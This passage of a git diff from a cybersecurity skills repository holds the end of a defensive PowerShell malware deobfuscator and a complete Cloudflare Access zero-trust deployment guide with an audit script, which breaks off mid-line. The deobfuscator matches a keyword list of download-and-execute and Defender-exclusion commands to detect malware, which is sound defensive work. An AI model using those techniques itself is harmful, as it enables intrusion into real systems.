pattern = re.compile( + r'-[Ee]nc(?:odedcommand)?\s+([A-Za-z0-9+/=]{20,})', + re.IGNORECASE + ) + match = pattern.search(content) + if match: + try: + decoded = base64.b64decode(match.group(1)).decode('utf-16-le') + content = pattern.sub(decoded, content) + except Exception: + pass + return content + + def _decode_frombase64(self, content): + """Decode [Convert]::FromBase64String calls.""" + pattern = re.compile( + r"\[Convert\]::FromBase64String\(\s*['\"]([A-Za-z0-9+/=]+)['\"]\s*\)", + re.IGNORECASE + ) + for match in pattern.finditer(content): + try: + decoded = base64.b64decode(match.group(1)) + decoded_str = decoded.decode('utf-8', errors='replace') + content = content.replace(match.group(0), f"'{decoded_str}'") + except Exception: + pass + return content + + def _resolve_char_arrays(self, content): + """Resolve [char] and [char[]] expressions.""" + # [char]NN patterns + pattern = re.compile(r'\[char\]\s*(\d+)', re.IGNORECASE) + for match in pattern.finditer(content): + try: + char_val = chr(int(match.group(1))) + content = content.replace(match.group(0), f"'{char_val}'") + except (ValueError, OverflowError): + pass + + return content + + def _resolve_format_strings(self, content): + """Resolve PowerShell format string operator.""" + pattern = re.compile( + r"\(?\s*['\"](\{[\d\}{\s]+[^'\"]*)['\"]" + r"\s*-f\s*([^)]+)\)?", + re.IGNORECASE + ) + for match in pattern.finditer(content): + try: + fmt_str = match.group(1) + args_str = match.group(2) + args = [a.strip().strip("'\"") for a in args_str.split(",")] + resolved = fmt_str + for i, arg in enumerate(args): + resolved = resolved.replace(f"{{{i}}}", arg) + content = content.replace(match.group(0), f"'{resolved}'") + except Exception: + pass + return content + + def _decompress_streams(self, content): + """Attempt to decode compressed Base64 payloads.""" + import zlib + import io + + b64_pattern = re.compile(r'[A-Za-z0-9+/=]{100,}') + for match in b64_pattern.finditer(content): + try: + raw = base64.b64decode(match.group(0)) + # Try deflate + decompressed = zlib.decompress(raw, -zlib.MAX_WBITS) + decoded = decompressed.decode('utf-8', errors='replace') + if len(decoded) > 50: + content = content.replace(match.group(0), decoded) + except Exception: + try: + # Try gzip + raw = base64.b64decode(match.group(0)) + decompressed = zlib.decompress(raw, zlib.MAX_WBITS | 16) + decoded = decompressed.decode('utf-8', errors='replace') + if len(decoded) > 50: + content = content.replace(match.group(0), decoded) + except Exception: + pass + return content + + def _extract_iocs(self, content): + """Extract IOCs from deobfuscated content.""" + # URLs + for url in re.findall(r'https?://[^\s\'"<>)\]]+', content, re.I): + self.iocs["urls"].add(url) + + # IPs + for ip in re.findall(r'\b(?:\d{1,3}\.){3}\d{1,3}\b', content): + self.iocs["ips"].add(ip) + + # File paths + for path in re.findall( + r'[A-Za-z]:\\[^\s\'"<>|]+', content, re.I + ): + self.iocs["file_paths"].add(path) + + # Registry keys + for key in re.findall( + r'(?:HKLM|HKCU|HKCR)(?:\\[^\s\'"<>|]+)+', content, re.I + ): + self.iocs["registry_keys"].add(key) + + # Suspicious commands + for cmd in ['DownloadString', 'DownloadFile', 'Invoke-WebRequest', + 'Start-Process', 'New-ScheduledTask', 'Add-MpPreference', + 'Reflection.Assembly']: + if cmd.lower() in content.lower(): + self.iocs["suspicious_commands"].add(cmd) + + def get_report(self): + """Generate analysis report.""" + return { + "layers_processed": len(self.layers), + "layer_details": self.layers, + "iocs": {k: sorted(v) for k, v in self.iocs.items()}, + } + + +def main(): + parser = argparse.ArgumentParser( + description="PowerShell Malware Deobfuscator" + ) + parser.add_argument("--file", required=True, help="Input PS1 file") + parser.add_argument("--output", help="Output deobfuscated file") + parser.add_argument("--extract-iocs", action="store_true", + help="Extract IOCs from result") + parser.add_argument("--report", help="Save JSON report") + + args = parser.parse_args() + + with open(args.file, 'r', errors='replace') as f: + content = f.read() + + deob = PowerShellDeobfuscator() + + print("[+] Analyzing obfuscation techniques...") + techniques = deob.analyze(content) + for t in techniques: + print(f" - {t['technique']} ({t['count']} occurrences)") + + print(f"\n[+] Deobfuscating ({len(content)} chars)...") + result = deob.deobfuscate(content) + print(f"[+] Result: {len(result)} chars") + + if args.output: + with open(args.output, 'w') as f: + f.write(result) + print(f"[+] Saved to {args.output}") + + report = deob.get_report() + if args.extract_iocs or args.report: + print(f"\n[+] Extracted IOCs:") + for category, values in report["iocs"].items(): + if values: + print(f" {category}:") + for v in values: + print(f" - {v}") + + if args.report: + with open(args.report, 'w') as f: + json.dump(report, f, indent=2) + print(f"[+] Report saved to {args.report}") + + +if __name__ == "__main__": + main() diff --git a/skills/deploying-cloudflare-access-for-zero-trust/SKILL.md b/skills/deploying-cloudflare-access-for-zero-trust/SKILL.md new file mode 100644 index 00000000..1c22d947 --- /dev/null +++ b/skills/deploying-cloudflare-access-for-zero-trust/SKILL.md @@ -0,0 +1,376 @@ +--- +name: deploying-cloudflare-access-for-zero-trust +description: > + Deploying Cloudflare Access with Cloudflare Tunnel to provide zero trust access + to self-hosted and private applications, configuring identity-aware access policies, + device posture checks, and WARP client enrollment for VPN replacement. +domain: cybersecurity +subdomain: zero-trust-architecture +tags: [cloudflare, cloudflare-access, zero-trust, cloudflare-tunnel, warp, ztna, cloudflare-one] +version: "1.0" +author: mahipal +license: MIT +--- + +# Deploying Cloudflare Access for Zero Trust + +## When to Use + +- When replacing VPN infrastructure with identity-aware application access using Cloudflare One +- When exposing self-hosted internal applications through Cloudflare Tunnel without opening inbound ports +- When implementing ZTNA for a distributed workforce accessing web applications, SSH, and RDP services +- When needing a cost-effective zero trust solution with integrated DLP, CASB, and SWG capabilities +- When securing contractor and third-party access to specific applications without full network access + +**Do not use** for applications requiring persistent UDP connections not supported by Cloudflare Tunnel, for environments requiring air-gapped or fully on-premises access control, or when regulatory requirements prohibit routing traffic through third-party cloud infrastructure. + +## Prerequisites + +- Cloudflare account with Zero Trust subscription (Free for up to 50 users, paid plans for larger teams) +- Domain name managed by Cloudflare DNS (or ability to add CNAME records) +- Linux, Windows, or macOS server to run `cloudflared` tunnel daemon +- Identity provider: Okta, Microsoft Entra ID, Google Workspace, GitHub, or any SAML/OIDC provider +- Cloudflare WARP client for device-level enrollment (optional but recommended) + +## Workflow + +### Step 1: Create a Cloudflare Tunnel to Internal Applications + +Install `cloudflared` and create a persistent tunnel to expose internal services. + +```bash +# Install cloudflared on Ubuntu/Debian +curl -L https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb \ + -o cloudflared.deb +sudo dpkg -i cloudflared.deb + +# Authenticate cloudflared with your Cloudflare account +cloudflared tunnel login + +# Create a named tunnel +cloudflared tunnel create internal-apps +# Output: Created tunnel internal-apps with id xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx + +# Configure tunnel routes to internal applications +cat > ~/.cloudflared/config.yml << 'EOF' +tunnel: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx +credentials-file: /home/admin/.cloudflared/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx.json + +ingress: + - hostname: wiki.company.com + service: http://localhost:8080 + - hostname: git.company.com + service: http://10.1.1.50:3000 + - hostname: grafana.company.com + service: http://10.1.1.60:3000 + - hostname: ssh.company.com + service: ssh://localhost:22 + - hostname: rdp.company.com + service: rdp://10.1.1.100:3389 + # Catch-all rule (required) + - service: http_status:404 +EOF + +# Route DNS to the tunnel +cloudflared tunnel route dns internal-apps wiki.company.com +cloudflared tunnel route dns internal-apps git.company.com +cloudflared tunnel route dns internal-apps grafana.company.com + +# Run tunnel as a systemd service +sudo cloudflared service install +sudo systemctl enable cloudflared +sudo systemctl start cloudflared + +# Verify tunnel status +cloudflared tunnel info internal-apps +``` + +### Step 2: Configure Identity Provider Integration + +Set up authentication with your organization's identity provider. + +```bash +# Using Cloudflare API to configure Okta as IdP +curl -X PUT "https://api.cloudflare.com/client/v4/accounts/{account_id}/access/identity_providers" \ + -H "Authorization: Bearer ${CF_API_TOKEN}" \ + -H "Content-Type: application/json" \ + --data '{ + "name": "Corporate Okta", + "type": "okta", + "config": { + "client_id": "OKTA_CLIENT_ID", + "client_secret": "OKTA_CLIENT_SECRET", + "okta_account": "company.okta.com", + "api_token": "OKTA_API_TOKEN", + "claims": ["email", "groups", "name"], + "email_claim_name": "email" + } + }' + +# Configure Microsoft Entra ID as additional IdP +curl -X POST "https://api.cloudflare.com/client/v4/accounts/{account_id}/access/identity_providers" \ + -H "Authorization: Bearer ${CF_API_TOKEN}" \ + -H "Content-Type: application/json" \ + --data '{ + "name": "Microsoft Entra ID", + "type": "azureAD", + "config": { + "client_id": "AZURE_APP_CLIENT_ID", + "client_secret": "AZURE_APP_CLIENT_SECRET", + "directory_id": "AZURE_TENANT_ID", + "support_groups": true, + "claims": ["email", "groups", "name"] + } + }' +``` + +### Step 3: Create Access Applications and Policies + +Define Access applications with identity-aware policies for each internal service. + +```bash +# Create Access application for internal wiki +curl -X POST "https://api.cloudflare.com/client/v4/accounts/{account_id}/access/apps" \ + -H "Authorization: Bearer ${CF_API_TOKEN}" \ + -H "Content-Type: application/json" \ + --data '{ + "name": "Internal Wiki", + "domain": "wiki.company.com", + "type": "self_hosted", + "session_duration": "8h", + "auto_redirect_to_identity": true, + "http_only_cookie_attribute": true, + "same_site_cookie_attribute": "lax", + "logo_url": "https://company.com/wiki-logo.png", + "allowed_idps": ["OKTA_IDP_ID", "AZURE_IDP_ID"] + }' + +# Create Allow policy for the wiki application +curl -X POST "https://api.cloudflare.com/client/v4/accounts/{account_id}/access/apps/{app_id}/policies" \ + -H "Authorization: Bearer ${CF_API_TOKEN}" \ + -H "Content-Type: application/json" \ + --data '{ + "name": "Allow Engineering Team", + "decision": "allow", + "precedence": 1, + "include": [ + {"group": {"id": "ENGINEERING_GROUP_ID"}}, + {"okta": {"name": "Engineering", "identity_provider_id": "OKTA_IDP_ID"}} + ], + "require": [ + {"device_posture": {"integration_uid": "CROWDSTRIKE_INTEGRATION_ID"}} + ] + }' + +# Create Access application for SSH access +curl -X POST "https://api.cloudflare.com/client/v4/accounts/{account_id}/access/apps" \ + -H "Authorization: Bearer ${CF_API_TOKEN}" \ + -H "Content-Type: application/json" \ + --data '{ + "name": "SSH Access", + "domain": "ssh.company.com", + "type": "ssh", + "session_duration": "4h", + "auto_redirect_to_identity": true + }' +``` + +### Step 4: Deploy WARP Client for Device Enrollment + +Enroll corporate devices using Cloudflare WARP for private network access and device posture. + +```bash +# Create device enrollment rule +curl -X POST "https://api.cloudflare.com/client/v4/accounts/{account_id}/devices/policy" \ + -H "Authorization: Bearer ${CF_API_TOKEN}" \ + -H "Content-Type: application/json" \ + --data '{ + "name": "Corporate Device Enrollment", + "match": "identity.email matches \".*@company\\.com$\"", + "precedence": 100, + "enabled": true, + "gateway_unique_id": "GATEWAY_ID", + "support_url": "https://helpdesk.company.com/warp-help" + }' + +# Install WARP on macOS via MDM (Jamf/Intune) +# Download: https://developers.cloudflare.com/cloudflare-one/connections/connect-devices/warp/download-warp/ +# Deploy with MDM configuration profile: +cat > warp_mdm_config.plist << 'EOF' + + + + + organization + company + auto_connect + 1 + switch_locked + + onboarding + + + +EOF + +# Install Cloudflare root certificate for TLS inspection +# Download from: https://developers.cloudflare.com/cloudflare-one/connections/connect-devices/warp/user-side-certificates/ +sudo cp cloudflare-root-ca.pem /usr/local/share/ca-certificates/cloudflare-root-ca.crt +sudo update-ca-certificates + +# Configure split tunnel to route private network through WARP +curl -X PUT "https://api.cloudflare.com/client/v4/accounts/{account_id}/devices/policy/{policy_id}/fallback_domains" \ + -H "Authorization: Bearer ${CF_API_TOKEN}" \ + -H "Content-Type: application/json" \ + --data '[ + {"suffix": "internal.corp", "description": "Internal corporate domain"}, + {"suffix": "10.0.0.0/8", "description": "Private network range"} + ]' +``` + +### Step 5: Configure Device Posture Checks + +Integrate endpoint security signals into Access policies. + +```bash +# Add CrowdStrike device posture integration +curl -X POST "https://api.cloudflare.com/client/v4/accounts/{account_id}/devices/posture/integration" \ + -H "Authorization: Bearer ${CF_API_TOKEN}" \ + -H "Content-Type: application/json" \ + --data '{ + "name": "CrowdStrike Falcon", + "type": "crowdstrike_s2s", + "config": { + "api_url": "https://api.crowdstrike.com", + "client_id": "CS_API_CLIENT_ID", + "client_secret": "CS_API_CLIENT_SECRET", + "customer_id": "CS_CUSTOMER_ID" + }, + "interval": "10m" + }' + +# Create device posture rule for disk encryption +curl -X POST "https://api.cloudflare.com/client/v4/accounts/{account_id}/devices/posture" \ + -H "Authorization: Bearer ${CF_API_TOKEN}" \ + -H "Content-Type: application/json" \ + --data '{ + "name": "Disk Encryption Required", + "type": "disk_encryption", + "match": [{"platform": "windows"}, {"platform": "mac"}], + "input": {"requireAll": true} + }' + +# Create device posture rule for OS version +curl -X POST "https://api.cloudflare.com/client/v4/accounts/{account_id}/devices/posture" \ + -H "Authorization: Bearer ${CF_API_TOKEN}" \ + -H "Content-Type: application/json" \ + --data '{ + "name": "Minimum OS Version", + "type": "os_version", + "match": [{"platform": "windows"}], + "input": {"version": "10.0.19045", "operator": ">="} + }' +``` + +### Step 6: Set Up Audit Logging and Analytics + +Configure logging for access decisions and tunnel health monitoring. + +```bash +# Enable Logpush for Access audit logs to S3 +curl -X POST "https://api.cloudflare.com/client/v4/accounts/{account_id}/logpush/jobs" \ + -H "Authorization: Bearer ${CF_API_TOKEN}" \ + -H "Content-Type: application/json" \ + --data '{ + "name": "access-audit-logs", + "output_options": { + "field_names": ["RayID","Action","Allowed","AppDomain","AppUUID","Connection","Country","CreatedAt","Email","IPAddress","PurposeJustificationPrompt","PurposeJustificationResponse","TemporaryAccessDuration","UserUID"], + "timestamp_format": "rfc3339" + }, + "destination_conf": "s3://security-logs-bucket/cloudflare-access/?region=us-east-1&access-key-id=AKID&secret-access-key=SECRET", + "dataset": "access_requests", + "enabled": true + }' + +# Query access logs via GraphQL Analytics API +curl -X POST "https://api.cloudflare.com/client/v4/graphql" \ + -H "Authorization: Bearer ${CF_API_TOKEN}" \ + -H "Content-Type: application/json" \ + --data '{ + "query": "{ viewer { accounts(filter: {accountTag: \"ACCOUNT_ID\"}) { accessLoginRequestsAdaptiveGroups(filter: {datetime_gt: \"2026-02-22T00:00:00Z\"}, limit: 100, orderBy: [count_DESC]) { dimensions { action appName userEmail country } count } } } }" + }' +``` + +## Key Concepts + +| Term | Definition | +|------|------------| +| Cloudflare Tunnel | Encrypted outbound-only connection from your infrastructure to Cloudflare's network, exposing internal services without opening inbound firewall ports | +| Cloudflare Access | Identity-aware reverse proxy evaluating every request against access policies before granting access to protected applications | +| WARP Client | Cloudflare's endpoint agent that routes device traffic through Cloudflare's network for policy enforcement and private network access | +| Access Application | Configuration object defining a protected resource (self-hosted, SaaS, or infrastructure) with associated access policies | +| Device Posture | Endpoint health signals (OS version, disk encryption, EDR status) evaluated as conditions in Access policies | +| Cloudflare One | Unified SASE platform combining ZTNA (Access), SWG (Gateway), CASB, DLP, and RBI | + +## Tools & Systems + +- **Cloudflare Access**: Identity-aware application proxy providing per-request authorization +- **Cloudflare Tunnel (cloudflared)**: Daemon creating encrypted tunnels from internal networks to Cloudflare edge +- **WARP Client**: Cross-platform endpoint agent for device enrollment, DNS filtering, and private network routing +- **Cloudflare Gateway**: Secure Web Gateway providing DNS/HTTP filtering and DLP inspection +- **Cloudflare Logpush**: Real-time log streaming to external SIEM and storage destinations +- **Access for Infrastructure**: SSH and RDP access with short-lived certificates and session recording + +## Common Scenarios + +### Scenario: Startup with 200 Employees Deploying Zero Trust from Scratch + +**Context**: A SaaS startup with 200 employees and no existing VPN wants to provide secure access to internal tools (Grafana, internal APIs, staging environments) running on AWS. Budget is limited, and the team has no dedicated security staff. + +**Approach**: +1. Start with Cloudflare Zero Trust free tier (up to 50 users) for proof of concept +2. Deploy one `cloudflared` tunnel on an EC2 instance in the production VPC +3. Expose Grafana, internal wiki, and staging apps through tunnel with DNS routing +4. Configure Google Workspace as IdP for SSO authentication +5. Create Access policies requiring @company.com email domain for all applications +6. Add device posture checks for disk encryption and OS version +7. Upgrade to paid plan and deploy WARP client to all employee laptops via MDM +8. Enable Gateway DNS filtering and HTTP inspection for malware protection +9. Configure Logpush to send access logs to Datadog for monitoring + +**Pitfalls**: Cloudflare root certificate must be installed on all devices for TLS inspection to work; some applications may break with TLS interception. Tunnel failover requires running multiple `cloudflared` instances or using Cloudflare's replicas feature. Access policies should always include a default deny rule. WebSocket applications may require specific tunnel configuration. + +## Output Format + +``` +Cloudflare Zero Trust Deployment Report +================================================== +Organization: StartupCorp +Team Name: startupcorp +Deployment Date: 2026-02-23 + +TUNNEL INFRASTRUCTURE: + Active Tunnels: 2 (primary + failover) + Tunnel Status: Healthy + Connected Edge: Washington DC, Ashburn + Ingress Routes: 8 + +ACCESS APPLICATIONS: + Self-Hosted Apps: 6 + SaaS Apps: 3 + SSH/Infrastructure: 2 + Total Policies: 15 + +DEVICE ENROLLMENT: + Enrolled Devices: 187 / 200 + WARP Connected: 182 / 187 (97.3%) + Posture Compliant: 175 / 187 (93.6%) + +ACCESS METRICS (last 30 days): + Total Requests: 89,432 + Allowed: 88,756 (99.2%) + Blocked: 676 (0.8%) + Unique Users: 195 + Countries: 12 + Avg Session Duration: 6.2 hours +``` diff --git a/skills/deploying-cloudflare-access-for-zero-trust/assets/template.md b/skills/deploying-cloudflare-access-for-zero-trust/assets/template.md new file mode 100644 index 00000000..ccfdb67b --- /dev/null +++ b/skills/deploying-cloudflare-access-for-zero-trust/assets/template.md @@ -0,0 +1,55 @@ +# Cloudflare Access Zero Trust - Deployment Checklist + +## Project Information +| Field | Value | +|-------|-------| +| Organization | TechStartup Inc | +| Cloudflare Account | CF-XXXXXXX | +| Team Name | techstartup | +| Plan | Zero Trust Teams (50 seats) | +| Start Date | 2026-01-25 | + +## Identity Provider Configuration +- [x] Primary IdP: Google Workspace (OIDC) +- [x] MFA enforced at IdP level +- [ ] Secondary IdP for contractors: GitHub OAuth +- [x] Email domain restriction: @techstartup.com + +## Tunnel Deployment + +| Tunnel Name | Server | Network | Routes | Status | +|-------------|--------|---------|--------|--------| +| prod-tunnel | prod-bastion (10.1.0.5) | Production VPC | wiki, grafana, api | Healthy | +| staging-tunnel | staging-bastion (10.2.0.5) | Staging VPC | staging-* | Healthy | + +## Access Applications + +| Application | Type | Domain | Session | Policies | Status | +|-------------|------|--------|---------|----------|--------| +| Internal Wiki | self_hosted | wiki.techstartup.com | 8h | 2 (Allow Eng, Deny All) | Active | +| Grafana | self_hosted | grafana.techstartup.com | 8h | 2 (Allow SRE, Deny All) | Active | +| Internal API | self_hosted | api.techstartup.com | 4h | 3 (Allow Backend, Service Token, Deny All) | Active | +| Staging Apps | self_hosted | staging.techstartup.com | 4h | 2 (Allow Eng, Deny All) | Active | +| SSH Jump | ssh | ssh.techstartup.com | 2h | 1 (Allow SRE) | Active | + +## Device Posture Rules +- [x] Disk encryption: Required (Windows BitLocker, macOS FileVault) +- [x] OS version: Windows >= 10.0.19045, macOS >= 14.0 +- [x] Firewall: Enabled +- [ ] CrowdStrike integration: Pending deployment + +## WARP Enrollment + +| Platform | Enrolled | Total | Coverage | +|----------|----------|-------|----------| +| macOS | 32 | 35 | 91.4% | +| Windows | 12 | 13 | 92.3% | +| Linux | 2 | 2 | 100% | +| Total | 46 | 50 | 92.0% | + +## Sign-Off + +| Role | Name | Date | Approved | +|------|------|------|----------| +| CTO | _________________ | __________ | [ ] | +| Security Lead | _________________ | __________ | [ ] | diff --git a/skills/deploying-cloudflare-access-for-zero-trust/references/standards.md b/skills/deploying-cloudflare-access-for-zero-trust/references/standards.md new file mode 100644 index 00000000..a0e6165d --- /dev/null +++ b/skills/deploying-cloudflare-access-for-zero-trust/references/standards.md @@ -0,0 +1,33 @@ +# Cloudflare Access Zero Trust - Standards & References + +## NIST SP 800-207: Zero Trust Architecture +- **Section 2**: ZTA Tenets - Cloudflare Access implements per-request identity verification +- **Section 3.2**: Enhanced Identity Governance - Access policies enforce continuous authorization +- **Section 4.2**: Cloud-Based SDP - Cloudflare Tunnel maps to software-defined perimeter architecture +- **URL**: https://csrc.nist.gov/publications/detail/sp/800-207/final + +## CISA Zero Trust Maturity Model v2.0 +- **Identity**: SSO with MFA via integrated IdP support +- **Device**: WARP client posture checks for OS, encryption, EDR +- **Network**: Cloudflare Tunnel eliminates inbound firewall rules +- **Application**: Per-application Access policies with session controls +- **URL**: https://www.cisa.gov/zero-trust-maturity-model + +## Cloudflare Documentation +- **Cloudflare One Overview**: https://developers.cloudflare.com/cloudflare-one/ +- **Cloudflare Access**: https://developers.cloudflare.com/cloudflare-one/policies/access/ +- **Cloudflare Tunnel**: https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/ +- **WARP Deployment**: https://developers.cloudflare.com/cloudflare-one/connections/connect-devices/warp/ +- **Device Posture**: https://developers.cloudflare.com/cloudflare-one/identity/devices/ +- **Logpush**: https://developers.cloudflare.com/logs/about/ +- **Zero Trust Reference Architecture**: https://developers.cloudflare.com/reference-architecture/implementation-guides/zero-trust/ + +## SOC 2 Type II +- Cloudflare maintains SOC 2 Type II certification +- Access audit logs provide evidence for CC6.1 (Logical Access), CC6.3 (Role-Based Access) +- **URL**: https://www.cloudflare.com/trust-hub/compliance-resources/ + +## GDPR +- Cloudflare processes data per EU GDPR requirements +- Data localization options for EU-based traffic +- **URL**: https://www.cloudflare.com/trust-hub/gdpr/ diff --git a/skills/deploying-cloudflare-access-for-zero-trust/references/workflows.md b/skills/deploying-cloudflare-access-for-zero-trust/references/workflows.md new file mode 100644 index 00000000..1eb324a0 --- /dev/null +++ b/skills/deploying-cloudflare-access-for-zero-trust/references/workflows.md @@ -0,0 +1,65 @@ +# Cloudflare Access Zero Trust Deployment Workflow + +## Phase 1: Account Setup (Day 1) + +1. Create Cloudflare account and navigate to Zero Trust dashboard +2. Select team name (organization identifier for WARP enrollment) +3. Choose subscription plan based on user count +4. Configure authentication: add primary IdP (Okta, Entra ID, Google Workspace) +5. Add secondary IdP for contractors or partners if needed +6. Enable MFA requirements at the IdP level + +## Phase 2: Tunnel Deployment (Day 2-3) + +### 2.1 Install cloudflared +1. Install `cloudflared` on a server within the private network +2. Authenticate with `cloudflared tunnel login` +3. Create named tunnel: `cloudflared tunnel create ` +4. Configure ingress rules in `config.yml` mapping hostnames to internal services +5. Route DNS: `cloudflared tunnel route dns ` + +### 2.2 High Availability +1. Deploy multiple `cloudflared` instances for redundancy +2. Use `cloudflared tunnel run --protocol quic` for better performance +3. Configure systemd service for automatic restart +4. Monitor tunnel health via Cloudflare dashboard + +### 2.3 Private Network Routing +1. Add private network routes: `cloudflared tunnel route ip add 10.0.0.0/8 ` +2. Configure split tunnel in WARP device settings +3. Set up DNS fallback domains for private DNS resolution + +## Phase 3: Access Application Configuration (Day 4-5) + +1. Create Access applications for each internal service +2. Define access policies per application: + - Include rules: email domains, IdP groups, service tokens + - Require rules: device posture, country restrictions + - Exclude rules: specific users or IPs +3. Configure session duration per application sensitivity +4. Enable purpose justification for sensitive applications +5. Test access with pilot users + +## Phase 4: WARP Client Deployment (Week 2) + +1. Create device enrollment policies with email domain restrictions +2. Deploy WARP client via MDM (Intune, Jamf, SCCM) +3. Install Cloudflare root certificate for TLS inspection +4. Configure split tunnel settings for private network access +5. Enable device posture checks: OS version, disk encryption, firewall + +## Phase 5: Gateway and DLP Configuration (Week 3) + +1. Enable DNS filtering with block categories (malware, phishing) +2. Configure HTTP inspection policies +3. Set up DLP profiles for sensitive data detection +4. Enable browser isolation for high-risk web categories +5. Configure CASB for SaaS application monitoring + +## Phase 6: Monitoring and Optimization (Ongoing) + +1. Enable Logpush to SIEM (S3, Splunk, Datadog) +2. Monitor Access audit logs for denied requests +3. Review tunnel health metrics +4. Optimize split tunnel configuration +5. Conduct quarterly access policy reviews diff --git a/skills/deploying-cloudflare-access-for-zero-trust/scripts/process.py b/skills/deploying-cloudflare-access-for-zero-trust/scripts/process.py new file mode 100644 index 00000000..841c205d --- /dev/null +++ b/skills/deploying-cloudflare-access-for-zero-trust/scripts/process.py @@ -0,0 +1,246 @@ +#!/usr/bin/env python3 +""" +Cloudflare Access Zero Trust - Deployment Audit Tool + +Queries Cloudflare API to audit Access applications, policies, tunnel +health, and device enrollment for zero trust compliance validation. + +Requirements: + pip install requests +""" + +import json +import sys +from datetime import datetime, timezone +from typing import Any + +import requests + +CF_API_BASE = "https://api.cloudflare.com/client/v4" + + +class CloudflareAccessAuditor: + """Audit Cloudflare Zero Trust Access deployment.""" + + def __init__(self, api_token: str, account_id: str): + self.api_token = api_token + self.account_id = account_id + self.headers = { + "Authorization": f"Bearer {api_token}", + "Content-Type": "application/json" + } + + def _get(self, endpoint: str, params: dict = None) -> dict: + """Make authenticated GET request.""" + url = f"{CF_API_BASE}/accounts/{self.account_id}/{endpoint}" + resp = requests.get(url, headers=self.headers, params=params or {}, timeout=30) + resp.raise_for_status() + return resp.json() + + def audit_access_applications(self) -> dict[str, Any]: + """Audit all Access applications and their configurations.""" + print("\n[1/5] Auditing Access Applications...") + data = self._get("access/apps") + apps = data.get("result", []) + + stats = { + "total": len(apps), + "self_hosted": 0, + "saas": 0, + "ssh": 0, + "vnc": 0, + "without_policies": 0, + "session_durations": {}, + "apps": [] + } + + for app in apps: + app_type = app.get("type", "unknown") + name = app.get("name", "unknown") + domain = app.get("domain", "N/A") + session = app.get("session_duration", "24h") + policies_count = len(app.get("policies", [])) + + if app_type == "self_hosted": + stats["self_hosted"] += 1 + elif app_type == "saas": + stats["saas"] += 1 + elif app_type == "ssh": + stats["ssh"] += 1 + elif app_type == "vnc": + stats["vnc"] += 1 + + if policies_count == 0: + stats["without_policies"] += 1 + print(f" [WARN] App '{name}' has no access policies!") + + stats["session_durations"][session] = stats["session_durations"].get(session, 0) + 1 + stats["apps"].append({ + "name": name, "type": app_type, "domain": domain, + "session": session, "policies": policies_count + }) + print(f" [{app_type.upper()}] {name} ({domain}) - {policies_count} policies, session: {session}") + + return stats + + def audit_tunnels(self) -> dict[str, Any]: + """Audit Cloudflare Tunnel health and configuration.""" + print("\n[2/5] Auditing Cloudflare Tunnels...") + data = self._get("cfd_tunnel", params={"is_deleted": "false"}) + tunnels = data.get("result", []) + + stats = { + "total": len(tunnels), + "healthy": 0, + "degraded": 0, + "inactive": 0, + "tunnels": [] + } + + for tunnel in tunnels: + name = tunnel.get("name", "unknown") + status = tunnel.get("status", "unknown") + connections = tunnel.get("connections", []) + created = tunnel.get("created_at", "") + + if status == "healthy": + stats["healthy"] += 1 + elif status == "degraded": + stats["degraded"] += 1 + print(f" [WARN] Tunnel '{name}' is degraded") + else: + stats["inactive"] += 1 + print(f" [WARN] Tunnel '{name}' is inactive") + + stats["tunnels"].append({ + "name": name, "status": status, + "connections": len(connections), "created": created + }) + + print(f" Total: {stats['total']}, Healthy: {stats['healthy']}, " + f"Degraded: {stats['degraded']}, Inactive: {stats['inactive']}") + return stats + + def audit_device_posture(self) -> dict[str, Any]: + """Audit device posture rules configuration.""" + print("\n[3/5] Auditing Device Posture Rules...") + data = self._get("devices/posture") + rules = data.get("result", []) + + stats = { + "total": len(rules), + "types": {}, + "rules": [] + } + + for rule in rules: + name = rule.get("name", "unknown") + rule_type = rule.get("type", "unknown") + stats["types"][rule_type] = stats["types"].get(rule_type, 0) + 1 + stats["rules"].append({"name": name, "type": rule_type}) + print(f" [{rule_type}] {name}") + + required_types = {"disk_encryption", "os_version", "firewall"} + missing = required_types - set(stats["types"].keys()) + if missing: + print(f" [WARN] Missing recommended posture types: {missing}") + + return stats + + def audit_device_enrollment(self) -> dict[str, Any]: + """Audit enrolled devices.""" + print("\n[4/5] Auditing Device Enrollment...") + data = self._get("devices") + devices = data.get("result", []) + + stats = { + "total": len(devices), + "os_distribution": {}, + "active": 0, + "revoked": 0 + } + + for device in devices: + os_type = device.get("os_version", "unknown").split(" ")[0] if device.get("os_version") else "unknown" + stats["os_distribution"][os_type] = stats["os_distribution"].get(os_type, 0) + 1 + if device.get("revoked_at"): + stats["revoked"] += 1 + else: + stats["active"] += 1 + + print(f" Total: {stats['total']}, Active: {stats['active']}, Revoked: {stats['revoked']}") + print(f" OS Distribution: {stats['os_distribution']}") + return stats + + def generate_report(self, apps, tunnels, posture, devices) -> str: + """Generate comprehensive audit report.""" + print("\n[5/5] Generating report...") + now = datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M UTC") + + report = f""" +Cloudflare Zero Trust Access Audit Report +{'=' * 55} +Account: {self.account_id} +Generated: {now} + +1. ACCESS APPLICATIONS + Total applications: {apps['total']} + Self-hosted: {apps['self_hosted']} + SaaS: {apps['saas']} + SSH/Infrastructure: {apps['ssh']} + Without policies: {apps['without_policies']} + Session durations: {apps['session_durations']} + +2. TUNNEL INFRASTRUCTURE + Total tunnels: {tunnels['total']} + Healthy: {tunnels['healthy']} + Degraded: {tunnels['degraded']} + Inactive: {tunnels['inactive']} + +3. DEVICE POSTURE + Posture rules defined: {posture['total']} + Rule types: {posture['types']} + +4. DEVICE ENROLLMENT + Total devices: {devices['total']} + Active: {devices['active']} + Revoked: {devices['revoked']} + +5. RECOMMENDATIONS +""" + recs = [] + if apps['without_policies'] > 0: + recs.append(f" - {apps['without_policies']} app(s) without policies - add access rules immediately") + if tunnels['degraded'] > 0 or tunnels['inactive'] > 0: + recs.append(f" - {tunnels['degraded'] + tunnels['inactive']} tunnel(s) need attention") + if "disk_encryption" not in posture.get("types", {}): + recs.append(" - Add disk encryption posture rule") + if "os_version" not in posture.get("types", {}): + recs.append(" - Add OS version posture rule") + if not recs: + recs.append(" - No critical issues found") + report += "\n".join(recs) + return report + + +def main(): + if len(sys.argv) < 3: + print("Usage: python process.py ") + sys.exit(1) + + auditor = CloudflareAccessAuditor(sys.argv[1], sys.argv[2]) + apps = auditor.audit_access_applications() + tunnels = auditor.audit_tunnels() + posture = auditor.audit_device_posture() + devices = 